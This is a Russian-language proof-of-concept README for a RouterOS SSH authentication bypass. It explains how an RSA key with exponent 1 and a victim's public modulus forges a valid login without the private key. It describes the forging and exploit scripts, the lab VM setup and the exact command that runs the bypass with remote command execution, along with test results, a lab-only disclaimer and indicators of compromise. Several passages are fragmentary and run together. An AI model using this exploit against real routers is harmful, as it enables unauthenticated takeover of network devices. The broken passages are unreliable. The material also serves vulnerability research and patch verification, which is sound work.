
CVE-2026-67276 RouterOS SSH-аутентификация с открытым ключом: обход защиты, лабораторный PoC
Только для лабораторного использования. Запускать исключительно против экземпляров RouterOS, которыми вы владеете. Атака на устройства, которыми вы не владеете, является преступлением (CFAA, ст. 267 УК Польши, аналогичные нормы).
CERT PL (05.09.2026) раскрыл шесть уязвимостей RouterOS, активно эксплуатируемых в дикой природе в составе цепочки «MikroTrick» (полный захват устройства без аутентификации при доступности SSH из интернета). Исправлено MikroTik 03.09.2026 в 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21.
| CVE | Тип | Основной дефект |
|---|
| 2026-67276 | CWE-347 (данный PoC) | Проверка соответствия ключа в SSH userauth сравнивает (тип ключа, модуль), но опускает экспоненту; проверка подписи использует предоставленный клиентом ключ ⇒ подделка при e=1 |
| 2026-86060 | CWE-88 | Внедрение аргументов через имя пользователя, начинающееся с запрещённого символа (-2 в журналах атак) ⇒ изменение policy-mask ⇒ повышение привилегий |
| 2026-67279 | CWE-841 | SSH переходит в протокол соединения после запрошенного клиентом rekey без завершённого userauth ⇒ неаутентифицированное выполнение команд в файловом пространстве имён |
| 2026-67277 | CWE-306 | Состояние bandwidth-test до аутентификации + раскрытие неинициализированного буфера + целочисленное переполнение размера ⇒ утечка памяти ядра / перезагрузка |
| 2026-67278 | CWE-347 | X.509 принимает некорректные подписи RSA/PKCS#1v1.5; доверенный якорь e=3 ⇒ подделка доверенного промежуточного сертификата |
| 2026-67281 | CWE-824 | WebFig /jsproxy устаревший неинициализированный указатель principal + обход пути ⇒ чтение файлов от root |
Уязвимые диапазоны (все шесть): [7.24, 7.24.2), [7.0.0, 7.23.4), [6.0.0, 6.49.21).
{ssh-rsa, e=1, n=жертва} делает sig^1 mod n == sig, поэтому
корректная «подпись» — это просто EMSA-PKCS1-v1_5(hash, authdata) — вычислимая
любым, кто знает открытый модуль жертвы. Закрытый ключ не нужен.Предварительные условия (минимум из самого раскрытия): имя целевого пользователя + открытый RSA-модуль авторизованного ключа этого пользователя.
n этого авторизованного ключа (из утёкшего/перехваченного
.pub, записей провижининга или --modulus-hex). Это единственный
почти секретный вход; закрытый ключ никогда не нужен.ForgeKey — стандартный OpenSSH не может).ssh-rsa на 6.x, rsa-sha2-256
также на 7.x).forge_67276.py — примитив: разбор открытых ключей OpenSSH, EMSA-кодировщик RFC 8017,
конструкторы поддельных блобов/подписей, эталонный верификатор RFC 8017.selftest.py — локальное доказательство, без роутера: кодировщик побайтово идентичен OpenSSL
(через инверсию реальной подписи), поддельная подпись проходит при e=1 и НЕ проходит при 65537,
полная симуляция wire-формата RFC 4252 §7. Все 15 проверок PASS.poc_67276.py — клиент paramiko, выполняющий обход (привязка алгоритма на каждое
соединение; требуется --lab-i-own-this-target).console_setup.py — разовая подготовка CHR через qemu serial telnet
(получение ключа жертвы через 10.0.2.2, импорт для admin, включение ssh).sanity_real_key.py — контроль: обычная аутентификация по открытому ключу должна сначала пройти.victim_rsa / victim.pub — сгенерированная одноразовая 2048-битная пара «жертвы»;
намеренно исключена из Git.python3 -m venv .venv
./.venv/bin/python -m pip install -r requirements.txt
ssh-keygen -q -t rsa -b 2048 -N '' -C victim-key -f victim_rsa
/root/mikrotrick-lab/, мост хоста br0
(192.168.100.1/24) с tap-интерфейсами tap0-tap3; dnsmasq на br0 с арендами по MAC.| ВМ | Образ | IP гостя | MAC | Туннель со стороны Mac |
|---|---|---|---|---|
| chr-6.49.20 | уязвимый 6.x | 192.168.100.11 | 52:54:00:aa:00:11 | 127.0.0.1:2222 |
| chr-6.49.21 | исправленный 6.x | 192.168.100.12 | 52:54:00:aa:00:12 | 127.0.0.1:2223 |
| chr-7.23.3 | уязвимый 7.x | 192.168.100.13 | 52:54:00:aa:00:13 | 127.0.0.1:2224 |
| chr-7.23.4 | исправленный 7.x | 192.168.100.14 | 52:54:00:aa:00:14 | 127.0.0.1:2225 |
labpass123, ключ жертвы импортирован для admin. Принудительная смена пароля при первом входе
выполнялась через SSH (bootstrap_password.py читает диалог) или
через монитор QEMU sendkey (mon_type.py) — последовательная консоль CHR мертва по
умолчанию; консоль VGA читается только через монитор screendump.ssh -N -L 2222:192.168.100.11:22 -L 2223:192.168.100.12:22 -L 2224:192.168.100.13:22 -L 2225:192.168.100.14:22 [email protected]Повторный запуск (пример, ВМ3):
qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -name chr-7.23.3 \
-drive file=/root/mikrotrick-lab/chr-7.23.3.img,format=raw,if=virtio \
-netdev tap,id=n2,ifname=tap2,script=no,downscript=no \
-device e1000,netdev=n2,mac=52:54:00:aa:00:13 \
-display none -monitor unix:/root/mikrotrick-lab/mon3.sock,server,nowait &
./.venv/bin/python import_key.py 127.0.0.1 admin labpass123 victim.pub 2224
./.venv/bin/python sanity_real_key.py 127.0.0.1 2224 victim_rsa admin # базовый уровень
./.venv/bin/python poc_67276.py --host 127.0.0.1 --port 2224 \
--username admin --pubkey victim.pub --algos rsa-sha2-256,ssh-rsa \
--exp-enc aligned --exec '/system resource print' --lab-i-own-this-target
| Цель | реальный закрытый ключ (базовый уровень) | поддельный ключ e=1 (PoC) |
|---|---|---|
| 7.23.3 | аутентификация OK | аутентификация OK + выполнение /system resource print — CVE подтверждён |
| 7.23.4 (исправленный) | аутентификация OK | отклонено |
| 6.49.20 | аутентификация OK | отклонено (см. нюанс) |
| 6.49.21 (исправленный) | некорректный базовый уровень | не интерпретируемо; гость принял SSH-аутентификацию none |
Для пары 7.x базовый уровень с реальным ключом успешен на обеих сборках, SSH-аутентификация
none отклоняется, подделка с неверным модулем отклоняется 7.23.3,
а подделка с корректным модулем успешна только на 7.23.3. Это корректное
сравнение «уязвимый против исправленного».
Гость 6.49.21 не был подготовлен как описано во время независимой
повторной проверки: admin остался просроченным, /user ssh-keys print detail был
пуст, а SSH-запрос none без учётных данных выполнял команды. Несвязанные
реальные RSA-ключи и ключи e=1 с неверным модулем поэтому также выглядели успешными.
Переподготовьте этого гостя и убедитесь, что none и несвязанный ключ отклоняются,
прежде чем использовать его как исправленный контроль.
Нюанс версии: на 6.49.20 серверное сопоставление отклоняет блоб e=1
(/log ssh,debug: can't find matching key for user: admin) — раскрытое
опущение экспоненты не наблюдалось в сопоставителе 6.x, хотя общий диапазон CERT
перечисляет [6.0.0, 6.49.21). Подтверждённо уязвим: 7.23.3. Подтверждённо
исправлен: 7.23.4. Текущее состояние лаборатории 6.49.21 не доказывает ни один результат.
Активность MikroTrick в дикой природе также была нацелена на устройства 7.x.
Находка о wire-формате (RFC 8332): внутренняя строка типа в блобе остаётся
ssh-rsa даже для алгоритмов подписи rsa-sha2-256/512; алгоритм подписи
идёт только во внешнем поле алгоритма. Игнорирование этого заставляет сервер
разрывать соединение в середине userauth (ошибка разбора блоба) — наблюдалось и на 6.x, и на 7.x.
ForgeKey в PoC обрабатывает это, а --exp-enc aligned|canonical переключает
ширину mpint для e=1 (1 против 3 байт). На 7.23.3 аутентифицируются ОБЕ ширины —
сопоставитель разбирает экспоненту и действительно игнорирует её значение. На 6.49.20 НИ ОДНА
не аутентифицируется (can't find matching key) — см. нюанс версии выше.
Серверные /system logging add topics=ssh,debug + /log print hex-дампы пакетов
выявили всё это.
Контрольные суммы SHA-256 архивов исходных образов, используемых в этой лаборатории:
a954ab0002a83de5e4c02110f560d0bf622e7d21916088aaacda6baaba88cf4a chr-6.49.20.img.zip
6dcfb8674fa7964bf92ce849fbb0ba8147a5cf3d7a1ba595e24ce3e615569188 chr-6.49.21.img.zip
646764fb0a53e9b5a056cb9cf7420eb1629031096c7268c99fb9216c07f8e98c chr-7.23.3.img.zip
0d32a8da0950dee71e751281c39063f2bebee4b542291aedecc9dbfbe5d60c9d chr-7.23.4.img.zip
login failure for user -2 via ssh,
user <name> added by ssh:-2@<ip>; неизвестный высокопривилегированный пользователь ops;
маркер /system/device-mode/print «Flagged» (указывает на компрометацию, его
отсутствие ничего не доказывает). Наблюдаемые IP атакующих: 82.192.72.4, 103.102.31.18.